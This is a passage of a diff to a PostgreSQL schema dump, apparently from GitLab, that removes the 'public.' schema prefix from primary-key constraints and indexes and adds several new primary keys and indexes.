+ALTER TABLE ONLY packages_nuget_dependency_link_metadata
ADD CONSTRAINT packages_nuget_dependency_link_metadata_pkey PRIMARY KEY (dependency_link_id);
-ALTER TABLE ONLY public.packages_nuget_metadata
+ALTER TABLE ONLY packages_nuget_metadata
ADD CONSTRAINT packages_nuget_metadata_pkey PRIMARY KEY (package_id);
-ALTER TABLE ONLY public.packages_package_files
+ALTER TABLE ONLY packages_package_files
ADD CONSTRAINT packages_package_files_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.packages_packages
+ALTER TABLE ONLY packages_packages
ADD CONSTRAINT packages_packages_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.packages_pypi_metadata
+ALTER TABLE ONLY packages_pypi_metadata
ADD CONSTRAINT packages_pypi_metadata_pkey PRIMARY KEY (package_id);
-ALTER TABLE ONLY public.packages_tags
+ALTER TABLE ONLY packages_tags
ADD CONSTRAINT packages_tags_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.pages_domain_acme_orders
+ALTER TABLE ONLY pages_deployments
+ ADD CONSTRAINT pages_deployments_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY pages_domain_acme_orders
ADD CONSTRAINT pages_domain_acme_orders_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.pages_domains
+ALTER TABLE ONLY pages_domains
ADD CONSTRAINT pages_domains_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.partitioned_foreign_keys
+ALTER TABLE ONLY partitioned_foreign_keys
ADD CONSTRAINT partitioned_foreign_keys_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.path_locks
+ALTER TABLE ONLY path_locks
ADD CONSTRAINT path_locks_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.personal_access_tokens
+ALTER TABLE ONLY personal_access_tokens
ADD CONSTRAINT personal_access_tokens_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.plan_limits
+ALTER TABLE ONLY plan_limits
ADD CONSTRAINT plan_limits_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.plans
+ALTER TABLE ONLY plans
ADD CONSTRAINT plans_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.pool_repositories
+ALTER TABLE ONLY pool_repositories
ADD CONSTRAINT pool_repositories_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.programming_languages
+ALTER TABLE ONLY programming_languages
ADD CONSTRAINT programming_languages_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.project_access_tokens
+ALTER TABLE ONLY project_access_tokens
ADD CONSTRAINT project_access_tokens_pkey PRIMARY KEY (personal_access_token_id, project_id);
-ALTER TABLE ONLY public.project_alerting_settings
+ALTER TABLE ONLY project_alerting_settings
ADD CONSTRAINT project_alerting_settings_pkey PRIMARY KEY (project_id);
-ALTER TABLE ONLY public.project_aliases
+ALTER TABLE ONLY project_aliases
ADD CONSTRAINT project_aliases_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.project_auto_devops
+ALTER TABLE ONLY project_auto_devops
ADD CONSTRAINT project_auto_devops_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.project_ci_cd_settings
+ALTER TABLE ONLY project_ci_cd_settings
ADD CONSTRAINT project_ci_cd_settings_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.project_compliance_framework_settings
+ALTER TABLE ONLY project_compliance_framework_settings
ADD CONSTRAINT project_compliance_framework_settings_pkey PRIMARY KEY (project_id);
-ALTER TABLE ONLY public.project_custom_attributes
+ALTER TABLE ONLY project_custom_attributes
ADD CONSTRAINT project_custom_attributes_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.project_daily_statistics
+ALTER TABLE ONLY project_daily_statistics
ADD CONSTRAINT project_daily_statistics_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.project_deploy_tokens
+ALTER TABLE ONLY project_deploy_tokens
ADD CONSTRAINT project_deploy_tokens_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.project_error_tracking_settings
+ALTER TABLE ONLY project_error_tracking_settings
ADD CONSTRAINT project_error_tracking_settings_pkey PRIMARY KEY (project_id);
-ALTER TABLE ONLY public.project_export_jobs
+ALTER TABLE ONLY project_export_jobs
ADD CONSTRAINT project_export_jobs_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.project_feature_usages
+ALTER TABLE ONLY project_feature_usages
ADD CONSTRAINT project_feature_usages_pkey PRIMARY KEY (project_id);
-ALTER TABLE ONLY public.project_features
+ALTER TABLE ONLY project_features
ADD CONSTRAINT project_features_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.project_group_links
+ALTER TABLE ONLY project_group_links
ADD CONSTRAINT project_group_links_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.project_import_data
+ALTER TABLE ONLY project_import_data
ADD CONSTRAINT project_import_data_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.project_incident_management_settings
+ALTER TABLE ONLY project_incident_management_settings
ADD CONSTRAINT project_incident_management_settings_pkey PRIMARY KEY (project_id);
-ALTER TABLE ONLY public.project_metrics_settings
+ALTER TABLE ONLY project_metrics_settings
ADD CONSTRAINT project_metrics_settings_pkey PRIMARY KEY (project_id);
-ALTER TABLE ONLY public.project_mirror_data
+ALTER TABLE ONLY project_mirror_data
ADD CONSTRAINT project_mirror_data_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.project_repositories
+ALTER TABLE ONLY project_repositories
ADD CONSTRAINT project_repositories_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.project_repository_states
+ALTER TABLE ONLY project_repository_states
ADD CONSTRAINT project_repository_states_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.project_repository_storage_moves
+ALTER TABLE ONLY project_repository_storage_moves
ADD CONSTRAINT project_repository_storage_moves_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.project_security_settings
+ALTER TABLE ONLY project_security_settings
ADD CONSTRAINT project_security_settings_pkey PRIMARY KEY (project_id);
-ALTER TABLE ONLY public.project_settings
+ALTER TABLE ONLY project_settings
ADD CONSTRAINT project_settings_pkey PRIMARY KEY (project_id);
-ALTER TABLE ONLY public.project_statistics
+ALTER TABLE ONLY project_statistics
ADD CONSTRAINT project_statistics_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.project_tracing_settings
+ALTER TABLE ONLY project_tracing_settings
ADD CONSTRAINT project_tracing_settings_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.projects
+ALTER TABLE ONLY projects
ADD CONSTRAINT projects_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.prometheus_alert_events
+ALTER TABLE ONLY prometheus_alert_events
ADD CONSTRAINT prometheus_alert_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.prometheus_alerts
+ALTER TABLE ONLY prometheus_alerts
ADD CONSTRAINT prometheus_alerts_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.prometheus_metrics
+ALTER TABLE ONLY prometheus_metrics
ADD CONSTRAINT prometheus_metrics_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.protected_branch_merge_access_levels
+ALTER TABLE ONLY protected_branch_merge_access_levels
ADD CONSTRAINT protected_branch_merge_access_levels_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.protected_branch_push_access_levels
+ALTER TABLE ONLY protected_branch_push_access_levels
ADD CONSTRAINT protected_branch_push_access_levels_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.protected_branch_unprotect_access_levels
+ALTER TABLE ONLY protected_branch_unprotect_access_levels
ADD CONSTRAINT protected_branch_unprotect_access_levels_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.protected_branches
+ALTER TABLE ONLY protected_branches
ADD CONSTRAINT protected_branches_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.protected_environment_deploy_access_levels
+ALTER TABLE ONLY protected_environment_deploy_access_levels
ADD CONSTRAINT protected_environment_deploy_access_levels_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.protected_environments
+ALTER TABLE ONLY protected_environments
ADD CONSTRAINT protected_environments_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.protected_tag_create_access_levels
+ALTER TABLE ONLY protected_tag_create_access_levels
ADD CONSTRAINT protected_tag_create_access_levels_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.protected_tags
+ALTER TABLE ONLY protected_tags
ADD CONSTRAINT protected_tags_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.push_rules
+ALTER TABLE ONLY push_rules
ADD CONSTRAINT push_rules_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.raw_usage_data
+ALTER TABLE ONLY raw_usage_data
ADD CONSTRAINT raw_usage_data_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.redirect_routes
+ALTER TABLE ONLY redirect_routes
ADD CONSTRAINT redirect_routes_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.release_links
+ALTER TABLE ONLY release_links
ADD CONSTRAINT release_links_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.releases
+ALTER TABLE ONLY releases
ADD CONSTRAINT releases_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.remote_mirrors
+ALTER TABLE ONLY remote_mirrors
ADD CONSTRAINT remote_mirrors_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.requirements_management_test_reports
+ALTER TABLE ONLY requirements_management_test_reports
ADD CONSTRAINT requirements_management_test_reports_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.requirements
+ALTER TABLE ONLY requirements
ADD CONSTRAINT requirements_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.resource_iteration_events
+ALTER TABLE ONLY resource_iteration_events
ADD CONSTRAINT resource_iteration_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.resource_label_events
+ALTER TABLE ONLY resource_label_events
ADD CONSTRAINT resource_label_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.resource_milestone_events
+ALTER TABLE ONLY resource_milestone_events
ADD CONSTRAINT resource_milestone_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.resource_state_events
+ALTER TABLE ONLY resource_state_events
ADD CONSTRAINT resource_state_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.resource_weight_events
+ALTER TABLE ONLY resource_weight_events
ADD CONSTRAINT resource_weight_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.reviews
+ALTER TABLE ONLY reviews
ADD CONSTRAINT reviews_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.routes
+ALTER TABLE ONLY routes
ADD CONSTRAINT routes_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.saml_providers
+ALTER TABLE ONLY saml_providers
ADD CONSTRAINT saml_providers_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.schema_migrations
+ALTER TABLE ONLY schema_migrations
ADD CONSTRAINT schema_migrations_pkey PRIMARY KEY (version);
-ALTER TABLE ONLY public.scim_identities
+ALTER TABLE ONLY scim_identities
ADD CONSTRAINT scim_identities_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.scim_oauth_access_tokens
+ALTER TABLE ONLY scim_oauth_access_tokens
ADD CONSTRAINT scim_oauth_access_tokens_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.security_scans
+ALTER TABLE ONLY security_findings
+ ADD CONSTRAINT security_findings_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY security_scans
ADD CONSTRAINT security_scans_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.self_managed_prometheus_alert_events
+ALTER TABLE ONLY self_managed_prometheus_alert_events
ADD CONSTRAINT self_managed_prometheus_alert_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.sent_notifications
+ALTER TABLE ONLY sent_notifications
ADD CONSTRAINT sent_notifications_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.sentry_issues
+ALTER TABLE ONLY sentry_issues
ADD CONSTRAINT sentry_issues_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.serverless_domain_cluster
+ALTER TABLE ONLY serverless_domain_cluster
ADD CONSTRAINT serverless_domain_cluster_pkey PRIMARY KEY (uuid);
-ALTER TABLE ONLY public.service_desk_settings
+ALTER TABLE ONLY service_desk_settings
ADD CONSTRAINT service_desk_settings_pkey PRIMARY KEY (project_id);
-ALTER TABLE ONLY public.services
+ALTER TABLE ONLY services
ADD CONSTRAINT services_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.shards
+ALTER TABLE ONLY shards
ADD CONSTRAINT shards_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.slack_integrations
+ALTER TABLE ONLY slack_integrations
ADD CONSTRAINT slack_integrations_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.smartcard_identities
+ALTER TABLE ONLY smartcard_identities
ADD CONSTRAINT smartcard_identities_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.snippet_repositories
+ALTER TABLE ONLY snippet_repositories
ADD CONSTRAINT snippet_repositories_pkey PRIMARY KEY (snippet_id);
-ALTER TABLE ONLY public.snippet_statistics
+ALTER TABLE ONLY snippet_statistics
ADD CONSTRAINT snippet_statistics_pkey PRIMARY KEY (snippet_id);
-ALTER TABLE ONLY public.snippet_user_mentions
+ALTER TABLE ONLY snippet_user_mentions
ADD CONSTRAINT snippet_user_mentions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.snippets
+ALTER TABLE ONLY snippets
ADD CONSTRAINT snippets_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.software_license_policies
+ALTER TABLE ONLY software_license_policies
ADD CONSTRAINT software_license_policies_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.software_licenses
+ALTER TABLE ONLY software_licenses
ADD CONSTRAINT software_licenses_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.spam_logs
+ALTER TABLE ONLY spam_logs
ADD CONSTRAINT spam_logs_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.sprints
+ALTER TABLE ONLY sprints
ADD CONSTRAINT sprints_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.status_page_published_incidents
+ALTER TABLE ONLY status_page_published_incidents
ADD CONSTRAINT status_page_published_incidents_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.status_page_settings
+ALTER TABLE ONLY status_page_settings
ADD CONSTRAINT status_page_settings_pkey PRIMARY KEY (project_id);
-ALTER TABLE ONLY public.subscriptions
+ALTER TABLE ONLY subscriptions
ADD CONSTRAINT subscriptions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.suggestions
+ALTER TABLE ONLY suggestions
ADD CONSTRAINT suggestions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.system_note_metadata
+ALTER TABLE ONLY system_note_metadata
ADD CONSTRAINT system_note_metadata_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.taggings
+ALTER TABLE ONLY taggings
ADD CONSTRAINT taggings_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.tags
+ALTER TABLE ONLY tags
ADD CONSTRAINT tags_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.term_agreements
+ALTER TABLE ONLY term_agreements
ADD CONSTRAINT term_agreements_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.terraform_states
+ALTER TABLE ONLY terraform_state_versions
+ ADD CONSTRAINT terraform_state_versions_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY terraform_states
ADD CONSTRAINT terraform_states_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.timelogs
+ALTER TABLE ONLY timelogs
ADD CONSTRAINT timelogs_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.todos
+ALTER TABLE ONLY todos
ADD CONSTRAINT todos_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.trending_projects
+ALTER TABLE ONLY trending_projects
ADD CONSTRAINT trending_projects_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.u2f_registrations
+ALTER TABLE ONLY u2f_registrations
ADD CONSTRAINT u2f_registrations_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.uploads
+ALTER TABLE ONLY uploads
ADD CONSTRAINT uploads_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.user_agent_details
+ALTER TABLE ONLY user_agent_details
ADD CONSTRAINT user_agent_details_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.user_callouts
+ALTER TABLE ONLY user_callouts
ADD CONSTRAINT user_callouts_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.user_canonical_emails
+ALTER TABLE ONLY user_canonical_emails
ADD CONSTRAINT user_canonical_emails_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.user_custom_attributes
+ALTER TABLE ONLY user_custom_attributes
ADD CONSTRAINT user_custom_attributes_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.user_details
+ALTER TABLE ONLY user_details
ADD CONSTRAINT user_details_pkey PRIMARY KEY (user_id);
-ALTER TABLE ONLY public.user_highest_roles
+ALTER TABLE ONLY user_highest_roles
ADD CONSTRAINT user_highest_roles_pkey PRIMARY KEY (user_id);
-ALTER TABLE ONLY public.user_preferences
+ALTER TABLE ONLY user_preferences
ADD CONSTRAINT user_preferences_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.user_statuses
+ALTER TABLE ONLY user_statuses
ADD CONSTRAINT user_statuses_pkey PRIMARY KEY (user_id);
-ALTER TABLE ONLY public.user_synced_attributes_metadata
+ALTER TABLE ONLY user_synced_attributes_metadata
ADD CONSTRAINT user_synced_attributes_metadata_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.users_ops_dashboard_projects
+ALTER TABLE ONLY users_ops_dashboard_projects
ADD CONSTRAINT users_ops_dashboard_projects_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.users
+ALTER TABLE ONLY users
ADD CONSTRAINT users_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.users_star_projects
+ALTER TABLE ONLY users_star_projects
ADD CONSTRAINT users_star_projects_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.users_statistics
+ALTER TABLE ONLY users_statistics
ADD CONSTRAINT users_statistics_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.vulnerabilities
+ALTER TABLE ONLY vulnerabilities
ADD CONSTRAINT vulnerabilities_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.vulnerability_exports
+ALTER TABLE ONLY vulnerability_exports
ADD CONSTRAINT vulnerability_exports_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.vulnerability_feedback
+ALTER TABLE ONLY vulnerability_feedback
ADD CONSTRAINT vulnerability_feedback_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.vulnerability_historical_statistics
+ALTER TABLE ONLY vulnerability_historical_statistics
ADD CONSTRAINT vulnerability_historical_statistics_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.vulnerability_identifiers
+ALTER TABLE ONLY vulnerability_identifiers
ADD CONSTRAINT vulnerability_identifiers_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.vulnerability_issue_links
+ALTER TABLE ONLY vulnerability_issue_links
ADD CONSTRAINT vulnerability_issue_links_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.vulnerability_occurrence_identifiers
+ALTER TABLE ONLY vulnerability_occurrence_identifiers
ADD CONSTRAINT vulnerability_occurrence_identifiers_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.vulnerability_occurrence_pipelines
+ALTER TABLE ONLY vulnerability_occurrence_pipelines
ADD CONSTRAINT vulnerability_occurrence_pipelines_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.vulnerability_occurrences
+ALTER TABLE ONLY vulnerability_occurrences
ADD CONSTRAINT vulnerability_occurrences_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.vulnerability_scanners
+ALTER TABLE ONLY vulnerability_scanners
ADD CONSTRAINT vulnerability_scanners_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.vulnerability_statistics
+ALTER TABLE ONLY vulnerability_statistics
ADD CONSTRAINT vulnerability_statistics_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.vulnerability_user_mentions
+ALTER TABLE ONLY vulnerability_user_mentions
ADD CONSTRAINT vulnerability_user_mentions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.web_hook_logs
+ALTER TABLE ONLY web_hook_logs
ADD CONSTRAINT web_hook_logs_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.web_hooks
+ALTER TABLE ONLY web_hooks
ADD CONSTRAINT web_hooks_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.webauthn_registrations
+ALTER TABLE ONLY webauthn_registrations
ADD CONSTRAINT webauthn_registrations_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.wiki_page_meta
+ALTER TABLE ONLY wiki_page_meta
ADD CONSTRAINT wiki_page_meta_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.wiki_page_slugs
+ALTER TABLE ONLY wiki_page_slugs
ADD CONSTRAINT wiki_page_slugs_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.x509_certificates
+ALTER TABLE ONLY x509_certificates
ADD CONSTRAINT x509_certificates_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.x509_commit_signatures
+ALTER TABLE ONLY x509_commit_signatures
ADD CONSTRAINT x509_commit_signatures_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.x509_issuers
+ALTER TABLE ONLY x509_issuers
ADD CONSTRAINT x509_issuers_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.zoom_meetings
+ALTER TABLE ONLY zoom_meetings
ADD CONSTRAINT zoom_meetings_pkey PRIMARY KEY (id);
-CREATE INDEX index_product_analytics_events_experimental_project_and_time ON ONLY public.product_analytics_events_experimental USING btree (project_id, collector_tstamp);
+CREATE INDEX index_product_analytics_events_experimental_project_and_time ON ONLY product_analytics_events_experimental USING btree (project_id, collector_tstamp);
CREATE INDEX product_analytics_events_expe_project_id_collector_tstamp_idx10 ON gitlab_partitions_static.product_analytics_events_experimental_10 USING btree (project_id, collector_tstamp);
@@ -18860,4333 +19240,4478 @@ CREATE INDEX product_analytics_events_exper_project_id_collector_tstamp_idx9 ON
CREATE INDEX product_analytics_events_experi_project_id_collector_tstamp_idx ON gitlab_partitions_static.product_analytics_events_experimental_00 USING btree (project_id, collector_tstamp);
-CREATE INDEX analytics_index_audit_events_on_created_at_and_author_id ON public.audit_events USING btree (created_at, author_id);
+CREATE INDEX analytics_index_audit_events_on_created_at_and_author_id ON audit_events USING btree (created_at, author_id);
+
+CREATE INDEX analytics_index_events_on_created_at_and_author_id ON events USING btree (created_at, author_id);
+
+CREATE INDEX analytics_repository_languages_on_project_id ON analytics_language_trend_repository_languages USING btree (project_id);
+
+CREATE UNIQUE INDEX analytics_repository_languages_unique_index ON analytics_language_trend_repository_languages USING btree (programming_language_id, project_id, snapshot_date);
+
+CREATE UNIQUE INDEX any_approver_merge_request_rule_type_unique_index ON approval_merge_request_rules USING btree (merge_request_id, rule_type) WHERE (rule_type = 4);
+
+CREATE UNIQUE INDEX any_approver_project_rule_type_unique_index ON approval_project_rules USING btree (project_id) WHERE (rule_type = 3);
+
+CREATE INDEX approval_mr_rule_index_merge_request_id ON approval_merge_request_rules USING btree (merge_request_id);
+
+CREATE UNIQUE INDEX backup_labels_group_id_project_id_title_idx ON backup_labels USING btree (group_id, project_id, title);
+
+CREATE INDEX backup_labels_group_id_title_idx ON backup_labels USING btree (group_id, title) WHERE (project_id = NULL::integer);
+
+CREATE INDEX backup_labels_project_id_idx ON backup_labels USING btree (project_id);
+
+CREATE UNIQUE INDEX backup_labels_project_id_title_idx ON backup_labels USING btree (project_id, title) WHERE (group_id = NULL::integer);
+
+CREATE INDEX backup_labels_template_idx ON backup_labels USING btree (template) WHERE template;
+
+CREATE INDEX backup_labels_title_idx ON backup_labels USING btree (title);
+
+CREATE INDEX backup_labels_type_project_id_idx ON backup_labels USING btree (type, project_id);
+
+CREATE INDEX ci_builds_gitlab_monitor_metrics ON ci_builds USING btree (status, created_at, project_id) WHERE ((type)::text = 'Ci::Build'::text);
+
+CREATE INDEX code_owner_approval_required ON protected_branches USING btree (project_id, code_owner_approval_required) WHERE (code_owner_approval_required = true);
+
+CREATE INDEX commit_id_and_note_id_index ON commit_user_mentions USING btree (commit_id, note_id);
+
+CREATE UNIQUE INDEX design_management_designs_versions_uniqueness ON design_management_designs_versions USING btree (design_id, version_id);
+
+CREATE INDEX design_user_mentions_on_design_id_and_note_id_index ON design_user_mentions USING btree (design_id, note_id);
+
+CREATE UNIQUE INDEX epic_user_mentions_on_epic_id_and_note_id_index ON epic_user_mentions USING btree (epic_id, note_id);
+
+CREATE UNIQUE INDEX epic_user_mentions_on_epic_id_index ON epic_user_mentions USING btree (epic_id) WHERE (note_id IS NULL);
+
+CREATE INDEX idx_audit_events_on_entity_id_desc_author_id_created_at ON audit_events USING btree (entity_id, entity_type, id DESC, author_id, created_at);
+
+CREATE INDEX idx_ci_pipelines_artifacts_locked ON ci_pipelines USING btree (ci_ref_id, id) WHERE (locked = 1);
+
+CREATE INDEX idx_container_scanning_findings ON vulnerability_occurrences USING btree (id) WHERE (report_type = 2);
+
+CREATE INDEX idx_deployment_clusters_on_cluster_id_and_kubernetes_namespace ON deployment_clusters USING btree (cluster_id, kubernetes_namespace);
+
+CREATE UNIQUE INDEX idx_deployment_merge_requests_unique_index ON deployment_merge_requests USING btree (deployment_id, merge_request_id);
+
+CREATE UNIQUE INDEX idx_environment_merge_requests_unique_index ON deployment_merge_requests USING btree (environment_id, merge_request_id);
+
+CREATE INDEX idx_geo_con_rep_updated_events_on_container_repository_id ON geo_container_repository_updated_events USING btree (container_repository_id);
+
+CREATE INDEX idx_issues_on_health_status_not_null ON issues USING btree (health_status) WHERE (health_status IS NOT NULL);
+
+CREATE INDEX idx_issues_on_project_id_and_created_at_and_id_and_state_id ON issues USING btree (project_id, created_at, id, state_id);
+
+CREATE INDEX idx_issues_on_project_id_and_due_date_and_id_and_state_id ON issues USING btree (project_id, due_date, id, state_id) WHERE (due_date IS NOT NULL);
+
+CREATE INDEX idx_issues_on_project_id_and_rel_position_and_state_id_and_id ON issues USING btree (project_id, relative_position, state_id, id DESC);
+
+CREATE INDEX idx_issues_on_project_id_and_updated_at_and_id_and_state_id ON issues USING btree (project_id, updated_at, id, state_id);
+
+CREATE INDEX idx_issues_on_state_id ON issues USING btree (state_id);
+
+CREATE INDEX idx_jira_connect_subscriptions_on_installation_id ON jira_connect_subscriptions USING btree (jira_connect_installation_id);
+
+CREATE UNIQUE INDEX idx_jira_connect_subscriptions_on_installation_id_namespace_id ON jira_connect_subscriptions USING btree (jira_connect_installation_id, namespace_id);
+
+CREATE INDEX idx_merge_requests_on_id_and_merge_jid ON merge_requests USING btree (id, merge_jid) WHERE ((merge_jid IS NOT NULL) AND (state_id = 4));
+
+CREATE INDEX idx_merge_requests_on_source_project_and_branch_state_opened ON merge_requests USING btree (source_project_id, source_branch) WHERE (state_id = 1);
+
+CREATE INDEX idx_merge_requests_on_state_id_and_merge_status ON merge_requests USING btree (state_id, merge_status) WHERE ((state_id = 1) AND ((merge_status)::text = 'can_be_merged'::text));
+
+CREATE INDEX idx_merge_requests_on_target_project_id_and_iid_opened ON merge_requests USING btree (target_project_id, iid) WHERE (state_id = 1);
+
+CREATE INDEX idx_merge_requests_on_target_project_id_and_locked_state ON merge_requests USING btree (target_project_id) WHERE (state_id = 4);
+
+CREATE UNIQUE INDEX idx_metrics_users_starred_dashboard_on_user_project_dashboard ON metrics_users_starred_dashboards USING btree (user_id, project_id, dashboard_path);
+
+CREATE INDEX idx_mr_cc_diff_files_on_mr_cc_id_and_sha ON merge_request_context_commit_diff_files USING btree (merge_request_context_commit_id, sha);
+
+CREATE INDEX idx_packages_packages_on_project_id_name_version_package_type ON packages_packages USING btree (project_id, name, version, package_type);
+
+CREATE UNIQUE INDEX idx_pkgs_dep_links_on_pkg_id_dependency_id_dependency_type ON packages_dependency_links USING btree (package_id, dependency_id, dependency_type);
+
+CREATE INDEX idx_proj_feat_usg_on_jira_dvcs_cloud_last_sync_at_and_proj_id ON project_feature_usages USING btree (jira_dvcs_cloud_last_sync_at, project_id) WHERE (jira_dvcs_cloud_last_sync_at IS NOT NULL);
+
+CREATE INDEX idx_proj_feat_usg_on_jira_dvcs_server_last_sync_at_and_proj_id ON project_feature_usages USING btree (jira_dvcs_server_last_sync_at, project_id) WHERE (jira_dvcs_server_last_sync_at IS NOT NULL);
+
+CREATE UNIQUE INDEX idx_project_id_payload_key_self_managed_prometheus_alert_events ON self_managed_prometheus_alert_events USING btree (project_id, payload_key);
+
+CREATE INDEX idx_project_repository_check_partial ON projects USING btree (repository_storage, created_at) WHERE (last_repository_check_at IS NULL);
+
+CREATE INDEX idx_projects_id_created_at_disable_overriding_approvers_false ON projects USING btree (id, created_at) WHERE ((disable_overriding_approvers_per_merge_request = false) OR (disable_overriding_approvers_per_merge_request IS NULL));
+
+CREATE INDEX idx_projects_id_created_at_disable_overriding_approvers_true ON projects USING btree (id, created_at) WHERE (disable_overriding_approvers_per_merge_request = true);
+
+CREATE INDEX idx_projects_on_repository_storage_last_repository_updated_at ON projects USING btree (id, repository_storage, last_repository_updated_at);
+
+CREATE INDEX idx_repository_states_on_last_repository_verification_ran_at ON project_repository_states USING btree (project_id, last_repository_verification_ran_at) WHERE ((repository_verification_checksum IS NOT NULL) AND (last_repository_verification_failure IS NULL));
+
